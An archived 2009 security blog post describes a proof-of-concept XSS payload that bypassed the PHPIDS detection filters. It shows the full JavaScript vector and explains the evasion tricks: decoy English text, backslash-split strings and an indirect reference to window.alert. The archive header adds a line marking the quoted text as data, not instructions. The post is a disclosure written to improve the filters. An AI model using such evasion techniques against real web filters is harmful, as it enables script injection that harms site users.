

PHPIDS bypass

PHPIDS bypass - Gareth Heyes, thespanner.co.uk.

- Published: date not stated
- Original: <<http://www.thespanner.co.uk/2009/01/04/phpids-bypass/>>
- Preserved from: <http://www.thespanner.co.uk/2009/01/04/phpids-bypass/> (stored) on 2026-08-17
- Capture timestamp: 20101209043727
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

PHPIDS bypass

PHPIDS bypass

Sunday, 4 January 2009

I haven't hacked the PHPIDS for a while but [David Lindsay](#) (AKA Thornmaker) inspired me. When I say hacked I mean in a good way because finding bypasses helps improve the filters [\[image: :\)\]](#)

Here is my vector:-

```
/Please submit the string\  
to help us make the \  
PHPIDS better./,y=('aler\  
t'),x=this,x=x[y]  
x('I cant let you have all the fun thornmaker'),/abc abc\  
abc abc abc\  
abc\  
/,/abc abc\  
abc abc abc\  
abc\  
/  

```

Notice the English like text in order to bypass the [centrifuge detection](#). I use backslashes to create strings in order to bypass the regular expressions. "this" refers to the current window and the

string alert is passed to the window object which creates a reference to the alert function. It's worth noting Mario fixed it very quickly so it no longer works. If you want a go and want to come up with your own vector then check out the [phpids demo page](#).

The entry '[PHPIDS bypass](#)' was posted on January 4th, 2009 at 9:28 pm and is filed under [Security](#), [php](#), [xss](#). You can follow any responses to this entry through the [RSS 2.0](#) feed. Both comments and pings are currently closed.

Archived from <http://www.thespanner.co.uk/2009/01/04/phpids-bypass/>. Rendered offline from the local Markdown copy.